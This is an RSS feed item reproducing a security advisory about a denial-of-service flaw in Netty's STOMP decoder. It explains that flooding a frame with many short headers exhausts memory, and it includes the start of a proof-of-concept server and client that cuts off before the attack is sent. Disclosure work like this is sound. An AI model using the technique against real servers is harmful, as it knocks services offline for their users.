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    <item>
      <title>GHSA-vhch-2wf3-m8rp — Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-vhch-2wf3-m8rp</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Maven: io.netty:netty-codec-stomp&lt;/p&gt;
&lt;p&gt;### Summary
The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.&lt;/p&gt;
&lt;p&gt;### Details
`io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.&lt;/p&gt;
&lt;p&gt;### PoC
Run the server with `-Xmx256m`&lt;/p&gt;
&lt;p&gt;```java
public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}
```&lt;/p&gt;
&lt;p&gt;```java
public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket(&amp;#34;127.0.0.1&amp;#34;, 8080)) {
            OutputStre…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Maven: io.netty:netty-codec-stomp&lt;/p&gt;
&lt;p&gt;### Summary
The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.&lt;/p&gt;
&lt;p&gt;### Details
`io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.&lt;/p&gt;
&lt;p&gt;### PoC
Run the server with `-Xmx256m`&lt;/p&gt;
&lt;p&gt;```java
public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}
```&lt;/p&gt;
&lt;p&gt;```java
public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket(&amp;#34;127.0.0.1&amp;#34;, 8080)) {
            OutputStre…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-vhch-2wf3-m8rp</guid>
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